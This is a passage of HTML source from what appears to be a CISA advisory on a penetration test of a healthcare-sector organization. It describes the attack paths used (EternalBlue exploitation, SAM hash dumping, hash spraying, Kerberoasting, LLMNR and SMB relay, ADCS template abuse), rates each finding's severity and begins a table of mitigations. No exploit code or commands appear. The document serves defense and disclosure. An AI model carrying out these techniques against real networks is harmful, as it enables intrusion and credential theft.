  6396.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2023-12/Figure%204%20-%20Checking%20for%20EternalBlue%20Vulnerability.png?itok=WMjX5PW9" width="626" height="106" alt="Figure 4: Checking for EternalBlue Vulnerability"&gt;
  6397.  
  6398.  
  6399.  
  6400. &lt;/div&gt;
  6401.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 4: Checking for EternalBlue Vulnerability&lt;/em&gt;&lt;/figcaption&gt;
  6402.  &lt;/figure&gt;
  6403. &lt;p&gt;The CISA assessment team then executed a well-known EternalBlue exploit [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1210/" title="Exploitation of Remote Services"&gt;T1210&lt;/a&gt;] and established a shell on the server. This shell allowed them to execute commands [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/003/" title="Command and Scripting Interpreter: Windows Command Shell"&gt;T1059.003&lt;/a&gt;] under the context of the local &lt;code&gt;SYSTEM&lt;/code&gt; account.&lt;/p&gt;
  6404. &lt;p&gt;With this local &lt;code&gt;SYSTEM&lt;/code&gt; account, CISA dumped password hashes from a Security Account Manager (SAM) database [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/002/" title="OS Credential Dumping: Security Account Manager"&gt;T1003.002&lt;/a&gt;]. The team parsed the hashes and identified one for a local administrator account. Upon parsing the contents of the SAM database dump, the CISA team identified an NTLM hash for the local administrator account, which can be used to authenticate to various services.&lt;/p&gt;
  6405. &lt;p&gt;The team sprayed the acquired NTLM hash across a network segment and identified multiple instances of password reuse allowing the team to access various resources including sensitive information with the hash.&lt;/p&gt;
  6406. &lt;h4&gt;&lt;strong&gt;Findings&lt;/strong&gt;&lt;/h4&gt;
  6407. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Key Issues&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  6408. &lt;p&gt;The CISA assessments team identified several findings as potentially exploitable vulnerabilities that could compromise the confidentiality, integrity, and availability of the tested environment. Each finding, listed below, includes a description with supporting details. See the Mitigations section for recommendations on how to mitigate these issues.&lt;/p&gt;
  6409. &lt;p&gt;The CISA team rated their findings on a severity scale from critical to informational (see Table 2).&lt;/p&gt;
  6410. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6411. &lt;caption&gt;&lt;em&gt;Table 2: Severity Rating Criteria&lt;/em&gt;&lt;/caption&gt;
  6412. &lt;thead&gt;
  6413. &lt;tr&gt;
  6414. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/th&gt;
  6415. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  6416. &lt;/tr&gt;
  6417. &lt;/thead&gt;
  6418. &lt;tbody&gt;
  6419. &lt;tr&gt;
  6420. &lt;td&gt;
  6421. &lt;p&gt;Critical&lt;/p&gt;
  6422. &lt;/td&gt;
  6423. &lt;td&gt;
  6424. &lt;p&gt;Critical vulnerabilities pose an immediate and severe risk to the environment because of the ease of exploitation and potential impact. Critical items are reported to the customer immediately.&lt;/p&gt;
  6425. &lt;/td&gt;
  6426. &lt;/tr&gt;
  6427. &lt;tr&gt;
  6428. &lt;td&gt;
  6429. &lt;p&gt;High&lt;/p&gt;
  6430. &lt;/td&gt;
  6431. &lt;td&gt;
  6432. &lt;p&gt;Malicious actors may be able to exercise full control on the targeted device.&lt;/p&gt;
  6433. &lt;/td&gt;
  6434. &lt;/tr&gt;
  6435. &lt;tr&gt;
  6436. &lt;td&gt;
  6437. &lt;p&gt;Medium&lt;/p&gt;
  6438. &lt;/td&gt;
  6439. &lt;td&gt;
  6440. &lt;p&gt;Malicious actors may be able to exercise some control of the targeted device.&lt;/p&gt;
  6441. &lt;/td&gt;
  6442. &lt;/tr&gt;
  6443. &lt;tr&gt;
  6444. &lt;td&gt;
  6445. &lt;p&gt;Low&lt;/p&gt;
  6446. &lt;/td&gt;
  6447. &lt;td&gt;
  6448. &lt;p&gt;The vulnerabilities discovered are reported as items of interest but are not normally exploitable. Many low items reported by security tools are not included in this report because they are often informational, unverified, or of minor risk.&lt;/p&gt;
  6449. &lt;/td&gt;
  6450. &lt;/tr&gt;
  6451. &lt;tr&gt;
  6452. &lt;td&gt;
  6453. &lt;p&gt;Informational&lt;/p&gt;
  6454. &lt;/td&gt;
  6455. &lt;td&gt;
  6456. &lt;p&gt;These vulnerabilities are potential weaknesses within the system that cannot be readily exploited. These findings represent areas that the customer should be cognizant of, but do not require any immediate action.&lt;/p&gt;
  6457. &lt;/td&gt;
  6458. &lt;/tr&gt;
  6459. &lt;/tbody&gt;
  6460. &lt;/table&gt;
  6461. &lt;p&gt;The CISA assessment team identified four High severity vulnerabilities and one Medium severity vulnerability during penetration testing that contributed to the team’s ability to compromise the domain. See Table 3 for a list and description of these findings.&lt;/p&gt;
  6462. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6463. &lt;caption&gt;&lt;em&gt;Table 3: Key Issues Contributing to Domain Compromise&lt;/em&gt;&lt;/caption&gt;
  6464. &lt;thead&gt;
  6465. &lt;tr&gt;
  6466. &lt;td&gt;&lt;strong&gt;Issue&lt;/strong&gt;&lt;/td&gt;
  6467. &lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
  6468. &lt;td&gt;&lt;strong&gt;Service&lt;/strong&gt;&lt;/td&gt;
  6469. &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
  6470. &lt;/tr&gt;
  6471. &lt;/thead&gt;
  6472. &lt;tbody&gt;
  6473. &lt;tr&gt;
  6474. &lt;td&gt;
  6475. &lt;p&gt;Poor Credential Hygiene: Easily Crackable Passwords&lt;/p&gt;
  6476. &lt;/td&gt;
  6477. &lt;td&gt;
  6478. &lt;p&gt;High&lt;/p&gt;
  6479. &lt;/td&gt;
  6480. &lt;td&gt;
  6481. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6482. &lt;/td&gt;
  6483. &lt;td&gt;
  6484. &lt;p&gt;As part of their assessment, the team reviewed the organization’s domain password policy and found it was weak because the minimum password length was set to 8 characters. Passwords less than 15 characters without randomness are easily crackable, and malicious actors with minimal technical knowledge can use these credentials to access the related services.&lt;/p&gt;
  6485. &lt;p&gt;The assessment team was able to easily crack many passwords throughout the assessment to move laterally and increase access within the domain. Specifically, the team:&lt;/p&gt;
  6486. &lt;ul&gt;
  6487. &lt;li&gt;Cracked the NTLMv2 hash for a domain account, and subsequently accessed the domain. (See the Attack Path 1 section.)&lt;/li&gt;
  6488. &lt;/ul&gt;
  6489. &lt;p&gt;Cracked the password hash (obtained via Kerberoasting) of a domain administrator account and subsequently compromised the domain. (See the Attack Path 1 section.)&lt;/p&gt;
  6490. &lt;/td&gt;
  6491. &lt;/tr&gt;
  6492. &lt;tr&gt;
  6493. &lt;td&gt;
  6494. &lt;p&gt;Poor Credential Hygiene: Guessable Credentials&lt;/p&gt;
  6495. &lt;/td&gt;
  6496. &lt;td&gt;
  6497. &lt;p&gt;High&lt;/p&gt;
  6498. &lt;/td&gt;
  6499. &lt;td&gt;
  6500. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6501. &lt;/td&gt;
  6502. &lt;td&gt;
  6503. &lt;p&gt;As part of the penetration test, the assessment team tested to see if one or more services is accessible using a list of enumerated usernames alongside an easily guessed password. The objective is to see if a malicious actor with minimal technical knowledge can use these credentials to access the related services, enabling them to move laterally or escalate privileges. Easily guessable passwords are often comprised of common words, seasons, months and/or years, and are sometimes combined with special characters. Additionally, phrases or names that are popular locally (such as the organization being tested or a local sports teams) may also be considered easily guessable.&lt;/p&gt;
  6504. &lt;p&gt;The team sprayed common passwords against domain user accounts and obtained valid credentials for standard domain users. (See the Attack Path 3 section.) (Cracking was not necessary for this attack.)&lt;/p&gt;
  6505. &lt;/td&gt;
  6506. &lt;/tr&gt;
  6507. &lt;tr&gt;
  6508. &lt;td&gt;
  6509. &lt;p&gt;Misconfigured ADCS Certificate Templates&lt;/p&gt;
  6510. &lt;/td&gt;
  6511. &lt;td&gt;
  6512. &lt;p&gt;High&lt;/p&gt;
  6513. &lt;/td&gt;
  6514. &lt;td&gt;
  6515. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6516. &lt;/td&gt;
  6517. &lt;td&gt;
  6518. &lt;p&gt;The team identified a WebServer template configured to allow all authenticated users permission to change the properties of the template and obtain certificates for different users. The team exploited the template to acquire a certificate for a Domain Administrator account (see the Attack Path 2 section).&lt;/p&gt;
  6519. &lt;/td&gt;
  6520. &lt;/tr&gt;
  6521. &lt;tr&gt;
  6522. &lt;td&gt;
  6523. &lt;p&gt;Unnecessary Network Services Enabled&lt;/p&gt;
  6524. &lt;/td&gt;
  6525. &lt;td&gt;
  6526. &lt;p&gt;High&lt;/p&gt;
  6527. &lt;/td&gt;
  6528. &lt;td&gt;
  6529. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6530. &lt;/td&gt;
  6531. &lt;td&gt;
  6532. &lt;p&gt;Malicious actors can exploit security vulnerabilities and misconfigurations in network services, especially legacy services.&lt;/p&gt;
  6533. &lt;p&gt;The assessment team identified legacy name resolution protocols (e.g., NetBIOS, LLMNR, mDNS) enabled in the network, and abused LLMNR to capture NTLMv2 hashes, which they then cracked and used for domain access. (See the Attack Path 1 section.)&lt;/p&gt;
  6534. &lt;p&gt;The team also identified an ADCS server with web enrollment enabled and leveraged it to compromise the domain through coercion and relaying. (See Attack Path 3 section.)&lt;/p&gt;
  6535. &lt;p&gt;Additionally, the team identified hosts with &lt;code&gt;WebClient&lt;/code&gt; and Spooler services, which are often abused by malicious actors to coerce authentication.&lt;/p&gt;
  6536. &lt;/td&gt;
  6537. &lt;/tr&gt;
  6538. &lt;tr&gt;
  6539. &lt;td&gt;
  6540. &lt;p&gt;Elevated Service Account Privileges&lt;/p&gt;
  6541. &lt;/td&gt;
  6542. &lt;td&gt;
  6543. &lt;p&gt;High&lt;/p&gt;
  6544. &lt;/td&gt;
  6545. &lt;td&gt;
  6546. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6547. &lt;/td&gt;
  6548. &lt;td&gt;
  6549. &lt;p&gt;Applications often require user accounts to operate. These user accounts, which are known as service accounts, often require elevated privileges. If an application or service running with a service account is compromised, an actor may have the same privileges and access as the service account.&lt;/p&gt;
  6550. &lt;p&gt;The CISA team identified a service account with Domain Administrator privileges and used it to access the domain after cracking its password (See the Attack Path 1 section).&lt;/p&gt;
  6551. &lt;/td&gt;
  6552. &lt;/tr&gt;
  6553. &lt;tr&gt;
  6554. &lt;td&gt;
  6555. &lt;p&gt;SMB Signing Not Enabled&lt;/p&gt;
  6556. &lt;/td&gt;
  6557. &lt;td&gt;
  6558. &lt;p&gt;High&lt;/p&gt;
  6559. &lt;/td&gt;
  6560. &lt;td&gt;
  6561. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6562. &lt;/td&gt;
  6563. &lt;td&gt;
  6564. &lt;p&gt;The CISA team identified several systems on the organization’s network that do not enforce SMB signing and exploited this for relayed authentication to obtain cleartext credentials for two domain administrator accounts.&lt;/p&gt;
  6565. &lt;/td&gt;
  6566. &lt;/tr&gt;
  6567. &lt;tr&gt;
  6568. &lt;td&gt;
  6569. &lt;p&gt;Insecure Default Configuration: Default Credentials&lt;/p&gt;
  6570. &lt;/td&gt;
  6571. &lt;td&gt;
  6572. &lt;p&gt;Medium&lt;/p&gt;
  6573. &lt;/td&gt;
  6574. &lt;td&gt;
  6575. &lt;p&gt;Web Application Assessment&lt;/p&gt;
  6576. &lt;/td&gt;
  6577. &lt;td&gt;
  6578. &lt;p&gt;Many off-the-shelf applications are released with built-in administrative accounts using predefined credentials that can often be found with a simple web search. Malicious actors with minimal technical knowledge can use these credentials to access the related services.&lt;/p&gt;
  6579. &lt;p&gt;During testing, the CISA team identified multiple web interfaces with default administrator credentials and used default credentials for a printer interface to capture domain credentials of a non-privileged domain account. (See the Attack Path 2 section.)&lt;/p&gt;
  6580. &lt;/td&gt;
  6581. &lt;/tr&gt;
  6582. &lt;/tbody&gt;
  6583. &lt;/table&gt;
  6584. &lt;p&gt;In addition to the issues listed above, the team identified three High and seven Medium severity findings. These vulnerabilities and misconfigurations may allow a malicious actor to compromise the confidentiality, integrity, and availability of the tested environment. See Table 4 for a list and description of these findings.&lt;/p&gt;
  6585. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6586. &lt;caption&gt;&lt;em&gt;Table 4: Additional Key Issues&lt;/em&gt;&lt;/caption&gt;
  6587. &lt;thead&gt;
  6588. &lt;tr&gt;
  6589. &lt;td&gt;&lt;strong&gt;Issue&lt;/strong&gt;&lt;/td&gt;
  6590. &lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
  6591. &lt;td&gt;&lt;strong&gt;Service&lt;/strong&gt;&lt;/td&gt;
  6592. &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
  6593. &lt;/tr&gt;
  6594. &lt;/thead&gt;
  6595. &lt;tbody&gt;
  6596. &lt;tr&gt;
  6597. &lt;td&gt;
  6598. &lt;p&gt;Poor Credential Hygiene: Password Reuse for Administrator and User Accounts&lt;/p&gt;
  6599. &lt;/td&gt;
  6600. &lt;td&gt;
  6601. &lt;p&gt;High&lt;/p&gt;
  6602. &lt;/td&gt;
  6603. &lt;td&gt;
  6604. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6605. &lt;/td&gt;
  6606. &lt;td&gt;
  6607. &lt;p&gt;Elevated password reuse is when an administrator uses the same password for their user and administrator accounts. If the user account password is compromised, it can be used to gain access to the administrative account.&lt;/p&gt;
  6608. &lt;p&gt;The assessment team identified an instance where the same password was set for an admin user’s administrative account as well as their standard user account.&lt;/p&gt;
  6609. &lt;/td&gt;
  6610. &lt;/tr&gt;
  6611. &lt;tr&gt;
  6612. &lt;td&gt;
  6613. &lt;p&gt;Poor Credential Hygiene: Password Reuse for Administrator Accounts&lt;/p&gt;
  6614. &lt;/td&gt;
  6615. &lt;td&gt;
  6616. &lt;p&gt;Medium&lt;/p&gt;
  6617. &lt;/td&gt;
  6618. &lt;td&gt;
  6619. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6620. &lt;/td&gt;
  6621. &lt;td&gt;
  6622. &lt;p&gt;If administrator passwords are the same for various administrator accounts, malicious actors can use the password to access all systems that share this credential after compromising one account.&lt;/p&gt;
  6623. &lt;p&gt;The assessment team found multiple instances of local administrator accounts across various systems using the same password.&lt;/p&gt;
  6624. &lt;/td&gt;
  6625. &lt;/tr&gt;
  6626. &lt;tr&gt;
  6627. &lt;td&gt;
  6628. &lt;p&gt;Poor Patch Management: Out-of-Date Software&lt;/p&gt;
  6629. &lt;/td&gt;
  6630. &lt;td&gt;
  6631. &lt;p&gt;High&lt;/p&gt;
  6632. &lt;/td&gt;
  6633. &lt;td&gt;
  6634. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6635. &lt;/td&gt;
  6636. &lt;td&gt;
  6637. &lt;p&gt;Patches and updates are released to address existing and emerging security vulnerabilities, and failure to apply the latest leaves systems open to attack with publicly available exploits. (The risk presented by missing patches and updates depends on the severity of the vulnerability).&lt;/p&gt;
  6638. &lt;p&gt;The assessment team identified several unpatched systems including instances of &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2019-0708" title="CVE-2019-0708"&gt;CVE-2019-0708&lt;/a&gt; (known as “BlueKeep”) and EternalBlue.&lt;/p&gt;
  6639. &lt;p&gt;The team was unable to successfully compromise the systems with BlueKeep, but they did exploit EternalBlue on a server to implant a shell on a server with local &lt;code&gt;SYSTEM&lt;/code&gt; privileges (see the Attack Path 5 section).&lt;/p&gt;
  6640. &lt;/td&gt;
  6641. &lt;/tr&gt;
  6642. &lt;tr&gt;
  6643. &lt;td&gt;
  6644. &lt;p&gt;Poor Patch Management: Unsupported OS or Application&lt;/p&gt;
  6645. &lt;/td&gt;
  6646. &lt;td&gt;
  6647. &lt;p&gt;High&lt;/p&gt;
  6648. &lt;/td&gt;
  6649. &lt;td&gt;
  6650. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6651. &lt;/td&gt;
  6652. &lt;td&gt;
  6653. &lt;p&gt;Using software or hardware that is no longer supported by the vendor poses a significant security risk because new and existing vulnerabilities are no longer patched). There is no way to address security vulnerabilities on these devices to ensure that they are secure. The overall security posture of the entire network is at risk because an attacker can target these devices to establish an initial foothold into the network.&lt;/p&gt;
  6654. &lt;p&gt;The assessment team identified end-of-life (EOL) Windows Server 2008 R2 and Windows Server 2008 and Windows 5.1.&lt;/p&gt;
  6655. &lt;/td&gt;
  6656. &lt;/tr&gt;
  6657. &lt;tr&gt;
  6658. &lt;td&gt;
  6659. &lt;p&gt;Use of Weak Authentication Measures&lt;/p&gt;
  6660. &lt;/td&gt;
  6661. &lt;td&gt;
  6662. &lt;p&gt;Medium&lt;/p&gt;
  6663. &lt;/td&gt;
  6664. &lt;td&gt;
  6665. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6666. &lt;/td&gt;
  6667. &lt;td&gt;
  6668. &lt;p&gt;Applications may have weak or broken mechanisms to verify user identity before granting user access to protected functionalities. Malicious actors can exploit these to bypass authentication and gain access to use application resources and functionality.&lt;/p&gt;
  6669. &lt;p&gt;The assessment team abused the Cisco Smart Install protocol to obtain configuration files for several Cisco devices on the organization’s network. These files contained encrypted Cisco passwords. (The CISA team was unable to crack these passwords within the assessment timeframe.)&lt;/p&gt;
  6670. &lt;/td&gt;
  6671. &lt;/tr&gt;
  6672. &lt;tr&gt;
  6673. &lt;td&gt;
  6674. &lt;p&gt;PII Disclosure&lt;/p&gt;
  6675. &lt;/td&gt;
  6676. &lt;td&gt;
  6677. &lt;p&gt;Medium&lt;/p&gt;
  6678. &lt;/td&gt;
  6679. &lt;td&gt;
  6680. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6681. &lt;/td&gt;
  6682. &lt;td&gt;
  6683. &lt;p&gt;The assessment team identified an unencrypted Excel file containing PII on a file share.&lt;/p&gt;
  6684. &lt;/td&gt;
  6685. &lt;/tr&gt;
  6686. &lt;tr&gt;
  6687. &lt;td&gt;
  6688. &lt;p&gt;Hosts with Unconstrained Delegation Enabled Unnecessarily&lt;/p&gt;
  6689. &lt;/td&gt;
  6690. &lt;td&gt;
  6691. &lt;p&gt;Medium&lt;/p&gt;
  6692. &lt;/td&gt;
  6693. &lt;td&gt;
  6694. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6695. &lt;/td&gt;
  6696. &lt;td&gt;
  6697. &lt;p&gt;The CISA team identified two systems that appeared to be configured with &lt;code&gt;Unconstrained Delegation&lt;/code&gt; enabled. Hosts with &lt;code&gt;Unconstrained Delegation&lt;/code&gt; enabled store the Kerberos TGTs of all users that authenticate to that host, enabling actors to steal service tickets or compromise krbtgt accounts and perform &lt;a href="https://attack.mitre.org/versions/v14/techniques/T1558/001/" title="Steal or Forge Kerberos Tickets: Golden Ticket"&gt;golden ticket&lt;/a&gt; or &lt;a href="https://attack.mitre.org/versions/v14/techniques/T1558/002/" title="Steal or Forge Kerberos Tickets: Silver Ticket"&gt;silver ticket&lt;/a&gt; attacks.&lt;/p&gt;
  6698. &lt;p&gt;Although the assessment team was unable to fully exploit this configuration because they lost access to one of the vulnerable hosts, it could have led to domain compromise under the right circumstances.&lt;/p&gt;
  6699. &lt;/td&gt;
  6700. &lt;/tr&gt;
  6701. &lt;tr&gt;
  6702. &lt;td&gt;
  6703. &lt;p&gt;Cleartext Password Disclosure&lt;/p&gt;
  6704. &lt;/td&gt;
  6705. &lt;td&gt;
  6706. &lt;p&gt;Medium&lt;/p&gt;
  6707. &lt;/td&gt;
  6708. &lt;td&gt;
  6709. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6710. &lt;/td&gt;
  6711. &lt;td&gt;
  6712. &lt;p&gt;Storing passwords in cleartext is a security risk because malicious actors with access to these files can use them.&lt;/p&gt;
  6713. &lt;p&gt;The assessment team identified several unencrypted files on a file share containing passwords for various personal and organizational accounts.&lt;/p&gt;
  6714. &lt;/td&gt;
  6715. &lt;/tr&gt;
  6716. &lt;tr&gt;
  6717. &lt;td&gt;
  6718. &lt;p&gt;Insecure File Shares&lt;/p&gt;
  6719. &lt;/td&gt;
  6720. &lt;td&gt;
  6721. &lt;p&gt;Medium&lt;/p&gt;
  6722. &lt;/td&gt;
  6723. &lt;td&gt;
  6724. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6725. &lt;/td&gt;
  6726. &lt;td&gt;
  6727. &lt;p&gt;Access to sensitive data (e.g., data related to business functions, IT functions, and/or personnel) should be restricted to only certain authenticated and authorized users.&lt;/p&gt;
  6728. &lt;p&gt;The assessment team found an unsecured directory on a file share with sensitive IT information. The directory was accessible to all users in the domain group. Malicious actors with user privileges could access and/or exfiltrate this data.&lt;/p&gt;
  6729. &lt;/td&gt;
  6730. &lt;/tr&gt;
  6731. &lt;/tbody&gt;
  6732. &lt;/table&gt;
  6733. &lt;h5&gt;&lt;em&gt;Additional Issues&lt;/em&gt;&lt;/h5&gt;
  6734. &lt;p&gt;The CISA team identified one Informational severity within the organization’s networks and systems. These issues may allow a malicious actor to compromise the confidentiality, integrity, and availability of the tested environment, but are not readily exploitable. The information provided is to encourage the stakeholder to investigate these issues further to adjust their environments or eliminate certain aspects as needed, but the urgency is low.&lt;/p&gt;
  6735. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6736. &lt;caption&gt;&lt;em&gt;Table 5: Informational Issues That CISA Team Noted&lt;/em&gt;&lt;/caption&gt;
  6737. &lt;thead&gt;
  6738. &lt;tr&gt;
  6739. &lt;td&gt;&lt;strong&gt;Issue&lt;/strong&gt;&lt;/td&gt;
  6740. &lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
  6741. &lt;td&gt;&lt;strong&gt;Service&lt;/strong&gt;&lt;/td&gt;
  6742. &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
  6743. &lt;/tr&gt;
  6744. &lt;/thead&gt;
  6745. &lt;tbody&gt;
  6746. &lt;tr&gt;
  6747. &lt;td&gt;
  6748. &lt;p&gt;Overly Permissive Accounts&lt;/p&gt;
  6749. &lt;/td&gt;
  6750. &lt;td&gt;
  6751. &lt;p&gt;&amp;nbsp; Informational&lt;/p&gt;
  6752. &lt;/td&gt;
  6753. &lt;td&gt;
  6754. &lt;p&gt;&amp;nbsp;Penetration Testing&lt;/p&gt;
  6755. &lt;/td&gt;
  6756. &lt;td&gt;
  6757. &lt;p&gt;Account privileges are intended to control user access to host or application resources to limit access to sensitive information in support of a least-privilege security model. When user (or other) accounts have high privileges, users can see and/or do things they normally should not, and malicious actors can exploit this to access host and application resources.&lt;/p&gt;
  6758. &lt;p&gt;The assessment team identified Active Directory objects where the &lt;code&gt;Human Resources&lt;/code&gt; group appeared to be part of the privileged &lt;code&gt;Account Operators&lt;/code&gt; group. This may have provided elevated privileges to accounts in the &lt;code&gt;Human Resources&lt;/code&gt; group. (The CISA team was unable to validate and demonstrate the potential impact of this relationship within the assessment period).&lt;/p&gt;
  6759. &lt;/td&gt;
  6760. &lt;/tr&gt;
  6761. &lt;/tbody&gt;
  6762. &lt;/table&gt;
  6763. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Noted Strengths&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  6764. &lt;p&gt;The CISA team noted the following business, technical, and administrative components that enhanced the network security posture of the tested environment:&lt;/p&gt;
  6765. &lt;ul&gt;
  6766. &lt;li&gt;The organization’s network was found to have several strong, security-oriented characteristics such as:
  6767. &lt;ul&gt;
  6768. &lt;li&gt;Effective antivirus software;&lt;/li&gt;
  6769. &lt;li&gt;Endpoint detection and response capabilities;&lt;/li&gt;
  6770. &lt;li&gt;Good policies and best practices for protecting users from malicious files including not allowing users to mount ISO files;&lt;/li&gt;
  6771. &lt;li&gt;Minimal external attack surface, limiting an adversary’s ability to leverage external vulnerabilities to gain initial access to the organization’s networks and systems;&lt;/li&gt;
  6772. &lt;li&gt;Strong wireless protocols;&lt;/li&gt;
  6773. &lt;li&gt;And network segmentation.&lt;/li&gt;
  6774. &lt;/ul&gt;
  6775. &lt;/li&gt;
  6776. &lt;li&gt;The organization’s security also demonstrated their ability to detect some of the CISA team's actions throughout testing and overall situational awareness through the use of logs and alerts.&lt;/li&gt;
  6777. &lt;li&gt;The organization used MFA for cloud accounts. The assessment team obtained cloud credentials via a phishing campaign but was unable to use them because of MFA prompts.&lt;/li&gt;
  6778. &lt;/ul&gt;
  6779. &lt;h3&gt;&lt;strong&gt;MITIGATIONS&lt;/strong&gt;&lt;/h3&gt;
  6780. &lt;h4&gt;&lt;strong&gt;Network Defenders&lt;/strong&gt;&lt;/h4&gt;
  6781. &lt;p&gt;CISA recommends HPH Sector and other critical infrastructure organizations implement the mitigations in Table 6 to mitigate the issues listed in the Findings section of this advisory. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt; for more information on the CPGs, including additional recommended baseline protections.&lt;/p&gt;
  6782. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6783. &lt;caption&gt;&lt;em&gt;Table 6: Recommendations to Mitigate Identified Issues&lt;/em&gt;&lt;/caption&gt;
  6784. &lt;thead&gt;
  6785. &lt;tr&gt;
  6786. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Issue&lt;/strong&gt;&lt;/th&gt;
  6787. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Recommendation&lt;/strong&gt;&lt;/th&gt;
  6788. &lt;/tr&gt;
  6789. &lt;/thead&gt;
  6790. &lt;tbody&gt;
  6791. &lt;tr&gt;
  6792. &lt;td&gt;
  6793. &lt;p&gt;Poor Credential Hygiene: Easily Crackable Passwords&lt;/p&gt;
  6794. &lt;/td&gt;
  6795. &lt;td&gt;
  6796. &lt;ul&gt;
  6797. &lt;li&gt;&lt;strong&gt;Follow National Institute of Standards and Technologies (NIST) &lt;a href="https://csrc.nist.gov/publications/detail/sp/800-63b/final" title="Digital Identity Guidelines: Authentication and Lifecycle Management"&gt;guidelines&lt;/a&gt;&amp;nbsp;&lt;/strong&gt;&lt;strong&gt;when creating password policies&lt;/strong&gt; to enforce use of “strong” passwords that cannot be cracked [&lt;a href="https://www.cisa.gov/sites/default/files/2023-03/CISA_CPG_REPORT_v1.0.1_FINAL.pdf" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.B&lt;/a&gt;&lt;u&gt;]&lt;/u&gt;.[&lt;a href="https://csrc.nist.gov/pubs/sp/800/63/b/upd2/final" title="Digital Identity Guidelines: Authentication and Lifecycle Management"&gt;11&lt;/a&gt;] Consider using password managers to generate and store passwords.&lt;/li&gt;
  6798. &lt;li&gt;&lt;strong&gt;Use “strong” passphrases for private keys&lt;/strong&gt; to make cracking resource intensive [&lt;a href="https://www.cisa.gov/sites/default/files/2023-03/CISA_CPG_REPORT_v1.0.1_FINAL.pdf" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.B&lt;/a&gt;&lt;u&gt;]&lt;/u&gt;. Do not store credentials within the registry in Windows systems. Establish an organizational policy that prohibits password storage in files.&lt;/li&gt;
  6799. &lt;li&gt;&lt;strong&gt;Ensure adequate password length (ideally 15+ characters) and complexity requirements for Windows service accounts&lt;/strong&gt; and implement passwords with periodic expiration on these accounts [&lt;a href="https://www.cisa.gov/sites/default/files/2023-03/CISA_CPG_REPORT_v1.0.1_FINAL.pdf" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.B&lt;/a&gt;]. Use Managed Service Accounts, when possible, to manage service account passwords automatically.&lt;/li&gt;
  6800. &lt;/ul&gt;
  6801. &lt;/td&gt;
  6802. &lt;/tr&gt;
  6803. &lt;tr&gt;
  6804. &lt;td&gt;
  6805. &lt;p&gt;Poor Credential Hygiene: Guessable Credentials&lt;/p&gt;
  6806. &lt;/td&gt;
  6807. &lt;td&gt;
  6808. &lt;ul&gt;
  6809. &lt;li&gt;&lt;strong&gt;Do not reuse local administrator account passwords across systems&lt;/strong&gt;. Ensure that passwords are “strong” and unique [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.C&lt;/a&gt;].&lt;/li&gt;
